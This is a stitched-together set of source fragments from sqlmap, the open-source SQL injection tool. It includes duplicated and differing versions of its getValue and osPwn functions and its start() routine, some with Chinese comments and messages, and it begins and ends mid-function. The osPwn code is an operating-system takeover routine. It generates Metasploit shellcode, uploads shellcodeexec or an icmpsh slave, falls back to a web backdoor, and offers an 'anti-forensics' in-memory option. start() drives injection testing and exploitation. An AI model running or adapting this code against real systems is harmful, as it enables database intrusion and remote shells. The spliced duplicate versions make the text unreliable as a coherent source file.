SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any( (kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms( ) and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in ( DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) # Dirty patch (safe-encoded unicode characters) if isinstance(value, six.text_type) and "\\x" in value: try: candidate = eval( repr(value).replace("\\\\x", "\\x").replace( "u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) if "\\x" not in candidate: value = candidate except: pass return extractExpectedValue(value, expected)
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "how do you want to establish the tunnel?" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "the tunnel can be established only via TCP when " debugMsg += "the back-end DBMS is not Windows" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "you need to run sqlmap as an administrator " errMsg += "if you want to establish an out-of-band ICMP " errMsg += "tunnel because icmpsh uses raw sockets to " errMsg += "sniff and craft ICMP packets" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap requires 'python-impacket' third-party library " errMsg += "in order to run icmpsh master. You can get it at " errMsg += "http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "you need to disable ICMP replies by your machine " errMsg += "system-wide. For example run on Linux/Unix:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "If you miss doing that, you will receive " errMsg += "information from the database server and it " errMsg += "is unlikely to receive commands sent from you" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "how do you want to execute the Metasploit shellcode " msg += "on the back-end database underlying operating system?" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "invalid value, valid values are '1' and '2'" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "by default MySQL on Windows runs as SYSTEM " debugMsg += "user, no need to privilege escalate" logger.debug(debugMsg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if not setupSuccess and Backend.isDbms( DBMS.MYSQL) and not conf.direct and (not isStackingAvailable() or fallbackToWeb): web = True if fallbackToWeb: infoMsg = "falling back to web backdoor to establish the tunnel" else: infoMsg = "going to use a web backdoor to establish the tunnel" logger.info(infoMsg) self.initEnv(web=web, forceInit=fallbackToWeb) if self.webBackdoorUrl: if not Backend.isOs(OS.WINDOWS) and conf.privEsc: # Unset --priv-esc if the back-end DBMS underlying operating # system is not Windows conf.privEsc = False warnMsg = "sqlmap does not implement any operating system " warnMsg += "user privilege escalation technique when the " warnMsg += "back-end DBMS underlying system is not Windows" logger.warn(warnMsg) if tunnel == 1: self.createMsfShellcode(exitfunc="process", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) elif tunnel == 2: setupSuccess = self.uploadIcmpshSlave(web=web) if setupSuccess is not True: msg = "unable to mount the operating system takeover" raise SqlmapFilePathException(msg) if setupSuccess: if tunnel == 1: self.pwn(goUdf) elif tunnel == 2: self.icmpPwn() else: errMsg = "unable to prompt for an out-of-band session" raise SqlmapNotVulnerableException(errMsg) if not conf.cleanup: self.cleanup(web=web)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: pushValue(conf.db) pushValue(conf.tbl) if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: if not fallback: raise count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if not found and fallback: warnMsg = "something went wrong with full UNION " warnMsg += "technique (could be because of " warnMsg += "limitation on retrieved number of entries)" if " FROM " in query.upper(): warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) try: pushValue(kb.forcePartialUnion) kb.forcePartialUnion = True value = _goUnion(query, unpack, dump) found = (value is not None) or (value is None and expectingNone) finally: kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsDomain: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ if conf.hexConvert: charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput try: if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression if expression.upper().startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None found = False count = 0 if query and not re.search(r"COUNT.*FROM.*\(.*DISTINCT", query, re.I): query = query.replace("DISTINCT ", "") if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): kb.technique = PAYLOAD.TECHNIQUE.UNION value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if found and conf.dnsName: _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME else: kb.technique = PAYLOAD.TECHNIQUE.STACKED if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" raise SqlmapNotVulnerableException(errMsg) finally: kb.resumeValues = True if suppressOutput is not None: getCurrentThreadData().disableStdOut = popValue() kb.safeCharEncode = False if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' or switch '--hex'" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected)
def start():#sqlmap 开始检测 get post cookie user-agent """ This function calls a function that performs checks on both URL stability and all GET, POST, Cookie and User-Agent parameters to check if they are dynamic and SQL injection affected这个函数调用一个函数,执行检查URL所有GET、POST、cookie和user-agent参数 们是否动态和SQL注入的影响 """ if conf.direct: # conf.direct是通过命令行参数:"-d" .指定的 通过参数"-d"指定要连接的数据库 initTargetEnv() #初始化目标环境 target.py initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作 setupTargetEnv() action() # 如果你使用-d选项,那么sqlmap就会直接进入action()函数,连接数据库 . eg:-d "mysql:123123//root:@127.0.0.1:3306/security" return True if conf.url and not any((conf.forms, conf.crawlDepth)): kb.targets.add((conf.url, conf.method, conf.data, conf.cookie)) # 把url,methos,data,cookie加入到kb.targets,这些参数就是由我们输入的 if conf.configFile and not kb.targets: errMsg = "you did not edit the configuration file properly, set " errMsg += "the target URL, list of targets or google dork" #你没有正确编辑配置文件,设置目标URL,目标列表或谷歌码头 logger.error(errMsg) return False if kb.targets and len(kb.targets) > 1: infoMsg = "sqlmap got a total of %d targets" % len(kb.targets) #sqlmap总数的**目标 logger.info(infoMsg) hostCount = 0 for targetUrl, targetMethod, targetData, targetCookie in kb.targets: #循环检测 try: conf.url = targetUrl conf.method = targetMethod conf.data = targetData conf.cookie = targetCookie initTargetEnv() # initTargetEnv()函数主要就是完成全局变量conf和kb的初始化工作 parseTargetUrl() # 此循环先初始化一些一些变量,然后判断之前是否注入过,parseTargetUrl()函数主要完成针对目标网址的解析工作,如获取协议名、路径、端口、请求参数等信息 testSqlInj = False # False 表示注入过 不会执行 injection = checkSqlInjection(place, parameter, value)这句代码 #测试过的url参数信息会保存到kb.testedParams中,所以在进行test之前,会先判断当前的url是否已经test过 if PLACE.GET in conf.parameters and not any([conf.data, conf.testParameter]): for parameter in re.findall(r"([^=]+)=([^%s]+%s?|\Z)" % (conf.pDel or DEFAULT_GET_POST_DELIMITER, conf.pDel or DEFAULT_GET_POST_DELIMITER), conf.parameters[PLACE.GET]): paramKey = (conf.hostname, conf.path, PLACE.GET, parameter[0]) if paramKey not in kb.testedParams: testSqlInj = True # True表示未注入过 执行 injection = checkSqlInjection(place, parameter, value)这句代码 break else: paramKey = (conf.hostname, conf.path, None, None) if paramKey not in kb.testedParams: testSqlInj = True # True表示未注入过 if testSqlInj and conf.hostname in kb.vulnHosts: if kb.skipVulnHost is None: message = "SQL injection vulnerability has already been detected " message += "against '%s'. Do you want to skip " % conf.hostname message += "further tests involving it? [Y/n]" kb.skipVulnHost = readInput(message, default="Y").upper() != 'N' # SQL注入漏洞已被发现对“% s”。你想跳过此测试涉及吗?[Y / n] testSqlInj = not kb.skipVulnHost if not testSqlInj: infoMsg = "skipping '%s'" % targetUrl logger.info(infoMsg) continue if conf.multipleTargets: hostCount += 1 if conf.forms: message = "[#%d] form:\n%s %s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl) else: message = "URL %d:\n%s %s%s" % (hostCount, conf.method or HTTPMETHOD.GET, targetUrl, " (PageRank: %s)" % get_pagerank(targetUrl) if conf.googleDork and conf.pageRank else "") if conf.cookie: message += "\nCookie: %s" % conf.cookie if conf.data is not None: message += "\nPOST data: %s" % urlencode(conf.data) if conf.data else "" if conf.forms: if conf.method == HTTPMETHOD.GET and targetUrl.find("?") == -1: continue message += "\ndo you want to test this form? [Y/n/q] " test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): if conf.method == HTTPMETHOD.POST: message = "Edit POST data [default: %s]%s: " % (urlencode(conf.data) if conf.data else "None", " (Warning: blank fields detected)" if conf.data and extractRegexResult(EMPTY_FORM_FIELDS_REGEX, conf.data) else "") conf.data = readInput(message, default=conf.data) conf.data = _randomFillBlankFields(conf.data) conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data elif conf.method == HTTPMETHOD.GET: if targetUrl.find("?") > -1: firstPart = targetUrl[:targetUrl.find("?")] secondPart = targetUrl[targetUrl.find("?") + 1:] message = "Edit GET data [default: %s]: " % secondPart test = readInput(message, default=secondPart) test = _randomFillBlankFields(test) conf.url = "%s?%s" % (firstPart, test) parseTargetUrl() elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break else: message += "\ndo you want to test this URL? [Y/n/q]" #你想测试这个URL ?[Y / n / q] test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): continue elif test[0] in ("q", "Q"): break infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) setupTargetEnv() # setupTargetEnv()函数中包含了5个函数 都不可或缺,将get或post发送的数据解析成字典形式,并保存到conf.paramDict中 if not checkConnection(suppressOutput=conf.forms) or not checkString() or not checkRegexp(): continue if conf.checkWaf: checkWaf() #是检测是否有WAF if conf.identifyWaf: #sqlmap的参数–identify-waf identifyWaf() # 进入identifyWaf()函数 if conf.nullConnection: checkNullConnection() #提取url中的参数信息,并将其传递给checkSqlInjection函数 if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \ and (kb.injection.place is None or kb.injection.parameter is None): #判断是否注入过,如果还没有测试过参数是否可以注入,则进入if语句中。如果之前测试过,则不会进入此语句 if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: # NOTE: this is not needed anymore, leaving only to display 注意:这是不需要了,只留下显示 # a warning message to the user in case the page is not stable 一条警告消息给用户的页面是不稳定的 checkStability() # Do a little prioritization reorder of a testable parameter list 做一个可测试的参数列表的优先级排序 parameters = conf.parameters.keys() # Order of testing list (first to last) #测试顺序列表(第一个) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) for place in orderList[::-1]: if place in parameters: parameters.remove(place) parameters.insert(0, place) proceed = True for place in parameters: # Test User-Agent and Referer headers only if #只有测试用户代理和推荐人头 # --level >= 3 级别>=3 skip = (place == PLACE.USER_AGENT and conf.level < 3) skip |= (place == PLACE.REFERER and conf.level < 3) # Test Host header only if 仅有主机头 # --level >= 5 级别>=5 skip |= (place == PLACE.HOST and conf.level < 5) # Test Cookie header only if --level >= 2 #只有cookie 级别>=2 skip |= (place == PLACE.COOKIE and conf.level < 2) skip |= (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.skip, True) not in ([], None)) skip |= (place == PLACE.COOKIE and intersect(PLACE.COOKIE, conf.skip, True) not in ([], None)) skip &= not (place == PLACE.USER_AGENT and intersect(USER_AGENT_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.REFERER and intersect(REFERER_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.HOST and intersect(HOST_ALIASES, conf.testParameter, True)) skip &= not (place == PLACE.COOKIE and intersect((PLACE.COOKIE,), conf.testParameter, True)) if skip: continue if place not in conf.paramDict: continue paramDict = conf.paramDict[place] for parameter, value in paramDict.items(): if not proceed: break kb.vainRun = False testSqlInj = True # True表示未注入过 paramKey = (conf.hostname, conf.path, place, parameter) if paramKey in kb.testedParams: testSqlInj = False # False 表示注入过 infoMsg = "skipping previously processed %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.testParameter: pass elif parameter == conf.rParam: testSqlInj = False # False 表示注入过 infoMsg = "skipping randomizing %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif parameter in conf.skip: testSqlInj = False # False 表示注入过 infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) # Ignore session-like parameters for --level < 4 elif conf.level < 4 and parameter.upper() in IGNORE_PARAMETERS: testSqlInj = False # False 表示注入过 infoMsg = "ignoring %s parameter '%s'" % (place, parameter) logger.info(infoMsg) elif PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech: check = checkDynParam(place, parameter, value) #checkDynParam()函数会判断参数是否是动态的 if not check: warnMsg = "%s parameter '%s' does not appear dynamic" % (place, parameter) #参数没有出现动态的 logger.warn(warnMsg) else: infoMsg = "%s parameter '%s' is dynamic" % (place, parameter) #参数出现动态的 logger.info(infoMsg) kb.testedParams.add(paramKey) if testSqlInj:# sql注入测试 check = heuristicCheckSqlInjection(place, parameter)#启发性sql注入测试,其实就是先进行一个简单的测试 if check != HEURISTIC_TEST.POSITIVE: if conf.smart or (kb.ignoreCasted and check == HEURISTIC_TEST.CASTED): infoMsg = "skipping %s parameter '%s'" % (place, parameter) logger.info(infoMsg) continue infoMsg = "testing for SQL injection on %s " % place infoMsg += "parameter '%s'" % parameter #在 **参数测试SQL注入**” logger.info(infoMsg) #判断testSqlInj,如果为true,就代表之前没有检测过,然后就会到checkSqlInjection,checkSqlInjection()才是真正开始测试的函数,传入的参数是注入方法如GET,参数名,参数值 injection = checkSqlInjection(place, parameter, value) #这里开始执行sql注入,当testSqlInj = False的时候,不会执行 proceed = not kb.endDetection if injection is not None and injection.place is not None: kb.injections.append(injection) # In case when user wants to end detection phase (Ctrl+C) #如果当用户想要检测阶段(Ctrl + C) if not proceed: break msg = "%s parameter '%s' " % (injection.place, injection.parameter) msg += "is vulnerable. Do you want to keep testing the others (if any)? [y/N] "# **参数是脆弱的。你想要测试其他的(如果有的话)?[y / N] test = readInput(msg, default="N") if test[0] not in ("y", "Y"): proceed = False paramKey = (conf.hostname, conf.path, None, None) kb.testedParams.add(paramKey) else: warnMsg = "%s parameter '%s' is not " % (place, parameter) warnMsg += "injectable" # **参数是不可注入的 logger.warn(warnMsg) if len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None): if kb.vainRun and not conf.multipleTargets: errMsg = "no parameter(s) found for testing in the provided data " #没有发现参数提供的测试数据 errMsg += "(e.g. GET parameter 'id' in 'www.site.com/index.php?id=1')" # 例子 raise SqlmapNoneDataException(errMsg) else: errMsg = "all tested parameters appear to be not injectable." #所有测试参数似乎不是注射 if conf.level < 5 or conf.risk < 3: errMsg += " Try to increase '--level'/'--risk' values " errMsg += "to perform more tests." if isinstance(conf.tech, list) and len(conf.tech) < 5: errMsg += " Rerun without providing the option '--technique'." #重新运行没有提供选项 if not conf.textOnly and kb.originalPage: percent = (100.0 * len(getFilteredPageContent(kb.originalPage)) / len(kb.originalPage)) if kb.dynamicMarkings: errMsg += " You can give it a go with the switch '--text-only' " errMsg += "if the target page has a low percentage " errMsg += "of textual content (~%.2f%% of " % percent errMsg += "page content is text)." elif percent < LOW_TEXT_PERCENT and not kb.errorIsNone: errMsg += " Please retry with the switch '--text-only' " errMsg += "(along with --technique=BU) as this case " errMsg += "looks like a perfect candidate " errMsg += "(low textual content along with inability " errMsg += "of comparison engine to detect at least " errMsg += "one dynamic parameter)." #请重试开关”——text-only(along with --technique=BU),这种情况下看起来像一个完美的候选人(低文本内容以及比较引擎无法检测至少一个动态参数) if kb.heuristicTest == HEURISTIC_TEST.POSITIVE: errMsg += " As heuristic test turned out positive you are " errMsg += "strongly advised to continue on with the tests. " errMsg += "Please, consider usage of tampering scripts as " errMsg += "your target might filter the queries." #作为启发式测试结果积极强烈建议你继续测试。请考虑使用篡改脚本作为你的目标可能过滤查询。 if not conf.string and not conf.notString and not conf.regexp: errMsg += " Also, you can try to rerun by providing " errMsg += "either a valid value for option '--string' " errMsg += "(or '--regexp')" #此外,你可以尝试重新运行通过提供一个有效的价值选择 elif conf.string: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--string' as perhaps the string you " errMsg += "have chosen does not match " errMsg += "exclusively True responses" #此外,你可以尝试重新运行选项通过提供一个有效的值,字符串的字符串可能你选择不匹配完全真实的反应 elif conf.regexp: errMsg += " Also, you can try to rerun by providing a " errMsg += "valid value for option '--regexp' as perhaps the regular " errMsg += "expression that you have chosen " errMsg += "does not match exclusively True responses" #此外,你可以尝试重新运行通过提供一个有效的值选项“- regexp”也许你选择了不匹配的正则表达式完全真实的反应 raise SqlmapNotVulnerableException(errMsg) else: # Flush the flag kb.testMode = False _saveToResultsFile() #保存结果 _saveToHashDB() #保存session _showInjections() #显示注入结果,包括类型,payload _selectInjection() # if kb.injection.place is not None and kb.injection.parameter is not None: if conf.multipleTargets: message = "do you want to exploit this SQL injection? [Y/n] " exploit = readInput(message, default="Y") condition = not exploit or exploit[0] in ("y", "Y") else: condition = True if condition: action() #此函数是判断用户提供的参数 except KeyboardInterrupt: if conf.multipleTargets: warnMsg = "user aborted in multiple target mode" logger.warn(warnMsg) message = "do you want to skip to the next target in list? [Y/n/q]" test = readInput(message, default="Y") if not test or test[0] in ("y", "Y"): pass elif test[0] in ("n", "N"): return False elif test[0] in ("q", "Q"): raise SqlmapUserQuitException else: raise except SqlmapUserQuitException: raise except SqlmapSilentQuitException: raise except SqlmapBaseException, ex: errMsg = getUnicode(ex.message) if conf.multipleTargets: errMsg += ", skipping to the next %s" % ("form" if conf.forms else "URL") logger.error(errMsg) else: logger.critical(errMsg) return False finally:
def osPwn(self): goUdf = False fallbackToWeb = False setupSuccess = False self.checkDbmsOs() if Backend.isOs(OS.WINDOWS): msg = "你想如何建立隧道??" msg += "\n[1] TCP: Metasploit Framework (default)" msg += "\n[2] ICMP: icmpsh - ICMP tunneling" while True: tunnel = readInput(msg, default='1') if tunnel.isdigit() and int(tunnel) in (1, 2): tunnel = int(tunnel) break else: warnMsg = "无效值,有效值为'1'和'2'" logger.warn(warnMsg) else: tunnel = 1 debugMsg = "当后端DBMS不是Windows时,隧道只能通过TCP建立" logger.debug(debugMsg) if tunnel == 2: isAdmin = runningAsAdmin() if not isAdmin: errMsg = "如果要建立带外ICMP隧道,则需要以管理员身份运行sqlmap,因为icmpsh使用原始套接字来嗅探和制作ICMP数据包" raise SqlmapMissingPrivileges(errMsg) try: from impacket import ImpactDecoder from impacket import ImpactPacket except ImportError: errMsg = "sqlmap需要“python-impacket”第三方库才能运行icmpsh master。" errMsg += "您可以访问http://code.google.com/p/impacket/downloads/list" raise SqlmapMissingDependence(errMsg) sysIgnoreIcmp = "/proc/sys/net/ipv4/icmp_echo_ignore_all" if os.path.exists(sysIgnoreIcmp): fp = open(sysIgnoreIcmp, "wb") fp.write("1") fp.close() else: errMsg = "您需要在整个系统范围内禁用ICMP回复 " errMsg += "例如在Linux/Unix上运行:\n" errMsg += "# sysctl -w net.ipv4.icmp_echo_ignore_all=1\n" errMsg += "如果您错过了这么做,您将收到来自数据库服务器的信息,而不会收到您发送的命令的回应。" logger.error(errMsg) if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): self.sysUdfs.pop("sys_bineval") self.getRemoteTempPath() if isStackingAvailable() or conf.direct: web = False self.initEnv(web=web) if tunnel == 1: if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): msg = "您打算如何在底层操作系统的底层数据库上执行Metasploit shellcode?" msg += "\n[1] 通过UDF 'sys_bineval' (内存方式,反取证,默认)" msg += "\n[2] 通过shellcodeexec(文件系统方式,首选64位系统)" while True: choice = readInput(msg, default='1') if choice.isdigit() and int(choice) in (1, 2): choice = int(choice) break else: warnMsg = "无效值,有效值为1和2" logger.warn(warnMsg) if choice == 1: goUdf = True if goUdf: exitfunc = "thread" setupSuccess = True else: exitfunc = "process" self.createMsfShellcode(exitfunc=exitfunc, format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed") if not goUdf: setupSuccess = self.uploadShellcodeexec(web=web) if setupSuccess is not True: if Backend.isDbms(DBMS.MYSQL): fallbackToWeb = True else: msg = "无法挂载操作系统接管" raise SqlmapFilePathException(msg) if Backend.isOs(OS.WINDOWS) and Backend.isDbms( DBMS.MYSQL) and conf.privEsc: debugMsg = "默认情况下,MySQL在Windows上运行为SYSTEM用户,不需要权限升级" logger.debug(debugMsg) 